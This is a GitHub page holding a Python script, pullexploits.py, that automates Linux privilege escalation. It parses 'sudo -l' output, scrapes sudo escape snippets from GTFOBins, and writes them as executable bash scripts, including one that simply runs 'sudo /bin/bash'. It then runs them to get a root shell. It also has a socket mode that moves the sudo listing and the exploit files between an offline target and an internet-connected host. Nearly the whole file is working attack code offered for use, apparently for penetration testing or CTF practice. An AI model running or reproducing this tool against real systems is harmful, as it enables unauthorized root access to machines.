-
Notifications
You must be signed in to change notification settings - Fork 0
/
pullexploits.py
306 lines (293 loc) · 12.8 KB
/
pullexploits.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
#!/usr/bin/env python3
import requests, subprocess, html, sys, getopt, os, http.server, socketserver, re, time, socket, re, signal
from threading import Thread
from subprocess import check_output
# When ctrl+c is pressed .listfile with be removed to clean up the directory
def signal_handler(sig, frame):
os.system("rm .listfile 2>/dev/null")
sys.exit(0)
# Catches ctrl+z signal
signal.signal(signal.SIGINT, signal_handler)
# Ports for scoket capture
TCP_PORT = 9001
BUFFER_SIZE = 1024
# Adding in colourful text
class Colour:
Black = "\u001b[30m"
Red = "\u001b[31m"
Green = "\u001b[32m"
Yellow = "\u001b[33m"
Blue = "\u001b[34m"
Magenta = "\u001b[35m"
White = "\u001b[37m"
Cyan = "\u001b[36m"
Reset = "\u001b[0m"
# Theme
Colour1 = Green
Colour2 = Cyan
Colour3 = Red
Colour4 = White
Text = Yellow
# Class to open files from server and read them to local file
class ClientThread(Thread):
def __init__(self,ip,port,sock,files,file):
Thread.__init__(self)
self.file = file
self.files = files
self.ip = ip
self.port = port
self.sock = sock
# Retrieving data from file
def run(self):
if self.files[0] != ".listfile":
file = f"exploits/{self.file}"
else:
file = self.file
print(f"Reading {file}")
f = open(file,'rb')
while True:
l = f.read(BUFFER_SIZE)
while (l):
self.sock.send(l)
l = f.read(BUFFER_SIZE)
if not l:
f.close()
self.sock.close()
break
def display(text):
print(f"\n{Colour.Blue}[{Colour.Red}+{Colour.Blue}]{Colour.Text} {text}{Colour.Reset}\n")
# Creates server so files can be collected by client
def startserver(TCP_IP, files, verbose):
# Listenening for connections on set port and ip
tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
tcpsock.bind((TCP_IP, TCP_PORT))
threads = []
for file in files:
tcpsock.listen(5)
display("Waiting for incoming connections...")
(conn, (ip,port)) = tcpsock.accept()
if verbose:
print('Got connection from ', (ip,port))
newthread = ClientThread(ip,port,conn,files,file)
newthread.start()
threads.append(newthread)
for t in threads:
t.join()
# Client to request files from server
def startclient(TCP_IP,file,verbose):
# Establishing connection to server to read file into new file
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
with open(file, 'wb') as f:
if verbose:
print('file opened')
while True:
data = s.recv(BUFFER_SIZE)
if verbose:
print('data =', (data).decode("utf-8").strip())
if not data:
f.close()
if verbose:
print('file close()')
break
# Write data to a file
f.write(data)
print(f'{file} file transfered')
s.close()
if verbose:
print('connection closed')
# Gets the ip of the machine so allow for input selection
def get_ip():
# Accuireing ip address from users hostnames in the format x.x.x.x
valid_ips = 0
ips = check_output(['hostname', '--all-ip-addresses']).decode("utf-8").split()
display("Which ip address would you like to use?\n")
for index, ip in enumerate(ips):
pattern = re.compile("^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$")
test = pattern.match(ip)
if test:
print(f"{Colour.Colour4}{index} - {Colour.Colour2}{ip}{Colour.Reset}\n")
valid_ips +=1
# Outputing ip options
try:
choice = int(input(f"({Colour.Text}Ip Selection{Colour.Reset}) > "))
if choice in range(valid_ips):
return ips[choice]
except:
display("Exiting...")
sys.exit(2)
def get_shell_code(value, verbose, output):
# Making directory for explits if it doesn't exist
os.system("mkdir exploits 2>/dev/null")
notexploitable = True
for content in output:
content = content.strip()
if content == "ALL":
exploit_file = open(f"exploits/{content}",'w')
exploit_file.write("#!/bin/bash\n")
exploit_file.write("sudo /bin/bash")
exploit_file.close()
subprocess.run(["chmod", "+x", f"exploits/{content}"])
notexploitable = False
break
# Sending GET request to website to pull shell code
r = requests.get(f'https://gtfobins.github.io/gtfobins/{content}')
if verbose:
print(f"Trying https://gtfobins.github.io/gtfobins/{content}\nStauts code - {r.status_code}")
if r.status_code == 200:
notexploitable = False
if value == "check":
if verbose:
print("At least one exploit found")
print("True")
return 1
elif value in ["find","offlinefind"]:
# If ClI is "check" then it will return that there is an exploit
if verbose:
print(f"Appending {content} exploit to bash file")
exploits.append(content)
# Making bash script from webscraped content
text = r.text
text = text.split('<h2 id="sudo"')[1]
text = text.split('<pre><code>')[1]
text = text.split("</code>")[0]
exploit_file = open(f"exploits/{content}",'w')
exploit_file.write("#!/bin/bash\n")
exploit_file.write(html.unescape(text))
exploit_file.close()
subprocess.run(["chmod", "+x", f"exploits/{content}"])
# Returns if an exploit has been found or not
if value == "check":
if verbose:
print("No exploits found")
print(False)
os.system("rm -r exploits 2>/dev/null")
return 0
if notexploitable:
os.system("rm -r exploits 2>/dev/null")
print("No exploits found")
return 0
else:
if value == "find":
display("Exploit found <python3 pullexploits.py -o run> to execute")
def sudolist(verbose, offline):
# Getting contents of sudo -l command to search GTFOBins
grep = "sudo -l | grep -oE '[^/ ]+$' | tail -n +4"
if offline:
os.system(f"{grep} > .listfile")
#fileserver.server(fileserver.get_ip(),".listfile")
output = subprocess.check_output(grep, shell=True).decode("utf-8").split("\n")
del output[-1]
for exploit in output:
# Appending potential exploits to a list
exploits.append(exploit.strip())
if verbose:
if offline:
display("Running sudo -l\nexploits written to .listfile")
else:
display(f"Running sudo -l\nexploits found = {output}")
return output
def showexploits():
# Menu to show exploits
display("Which exploit would you like to run? <enter any other key to exit>")
for index, exploit in enumerate(exploits):
print(f"{Colour.Colour4}{index} - {Colour.Colour2}{exploit}{Colour.Reset}\n")
choice = input(f"({Colour.Text}run{Colour.Reset}) > ")
# Outputing exploit options
try:
if int(choice) in range(0,len(exploits)):
subprocess.run(["chmod", "+x", f"exploits/{exploits[int(choice)]}"])
subprocess.run(f"./exploits/{exploits[int(choice)]}")
sys.exit()
except:
pass
def main(argv):
verbose = False
short_options = "ho:v"
long_options = ["help", "option=", "verbose"]
# Help menu
help = f"""\n{Colour.Colour4}
_ _ ______ _ _____
| | | | ____| | | __ \\
| |__| | |__ | | | |__) |
| __ | __| | | | ___/
| | | | |____| |____| |
|_| |_|______|______|_|
---------------------------------------------------------------------------------------------{Colour.Reset}
{Colour.Colour2}long argument{Colour.Reset} {Colour.Magenta}short argument{Colour.Reset} {Colour.Colour3}value{Colour.Reset}
{Colour.Colour4}---------------------------------------------------------------------------------------------{Colour.Reset}
{Colour.Colour2}--help{Colour.Reset} {Colour.Magenta}-h{Colour.Reset} {Colour.Colour3}n/a{Colour.Reset}
{Colour.Colour2}--option{Colour.Reset} {Colour.Magenta}-o{Colour.Reset} {Colour.Colour3}[check|find|run|offlinetarget|offlinehost]{Colour.Reset}
{Colour.Colour2}--verbose{Colour.Reset} {Colour.Magenta}-v{Colour.Reset} {Colour.Colour3}n/a{Colour.Reset}
{Colour.Colour4}---------------------------------------------------------------------------------------------{Colour.Reset}\n"""
if len(argv) <1:
display(f"An argument must be set{help}")
try:
arguments, values = getopt.getopt(argv, short_options, long_options)
except getopt.error as error:
# Output error, and return with an error code
print(error)
sys.exit(2)
# Evaluate given options
for current_argument, value in arguments:
if current_argument in ("-h", "--help"):
display("\nDisplaying help:{help}")
elif current_argument in ("-v","--verbose"):
verbose = True
elif current_argument in ("-o", "--option"):
if value in ["check","find","offlinetarget","offlinehost","run"]:
display(f"Options mode ({Colour.Colour3}{value}{Colour.Text}){Colour.Reset}")
global exploits
exploits = []
if value == "offlinetarget":
# Starting process for machine that has no internet
sudolist(verbose,True)
IP = get_ip()
# Starting service to git sudo -l output
startserver(IP,[".listfile"],verbose)
display("Input host machine ip (press enter when server is up on target machine)")
ip = input(f"\n({Colour.Text}Ip Selection{Colour.Reset}) > ")
print(exploits)
# Starting client to send exploits found
[startclient(ip,exploit,verbose) for exploit in exploits]
os.system("mkdir exploits 2>/dev/null")
[os.system(f"mv {exploit} exploits/") for exploit in exploits]
showexploits()
elif value == "offlinehost":
# Sarting process for machine with internet
# Input validation for .listfile to see if it exsists
display("Input target machine ip")
startclient(input(f"\n({Colour.Text}Ip Selection{Colour.Reset}) > "),".listfile",verbose)
# Find exploits from gtfobins if there are any
get_shell_code("offlinefind",verbose, open(".listfile", "r"))
# Asking for user ip
IP = get_ip()
# Starting server to send exploit files
startserver(IP,exploits,verbose)
# Removing exploits folder from host as it is intended for the target
os.system("rm -r exploits 2>/dev/null")
else:
get_shell_code(value,verbose, sudolist(verbose,False))
if value == "run" and len(exploits)>0:
while True:
showexploits()
display("Would you like to run another exploit? <yes/no>")
getinput = input(f"\n({Colour.Text}run{Colour.Reset}) > ")
if getinput not in ["yes","y"]:
display("Exiting...")
sys.exit()
else:
display(f"\nInvalid Parameters:{help}")
if __name__ == "__main__":
print(f"""{Colour.Blue}
_____ _ _ _ _ _
| __ \ | || | | | (_)| |
| |__) |_ _ | || | ___ __ __ _ __ | | ___ _ | |_ ___
| ___/| | | || || | / _ \\\\ \/ /| '_ \ | | / _ \ | || __|/ __|
| | | |_| || || || __/ > < | |_) || || (_) || || |_ \__ \\
|_| \__,_||_||_| \___|/_/\_\| .__/ |_| \___/ |_| \__||___/
| |
|_| {Colour.Red}\n{94*'-'}{Colour.Reset}""")
main(sys.argv[1:])
os.system("rm .listfile 2>/dev/null")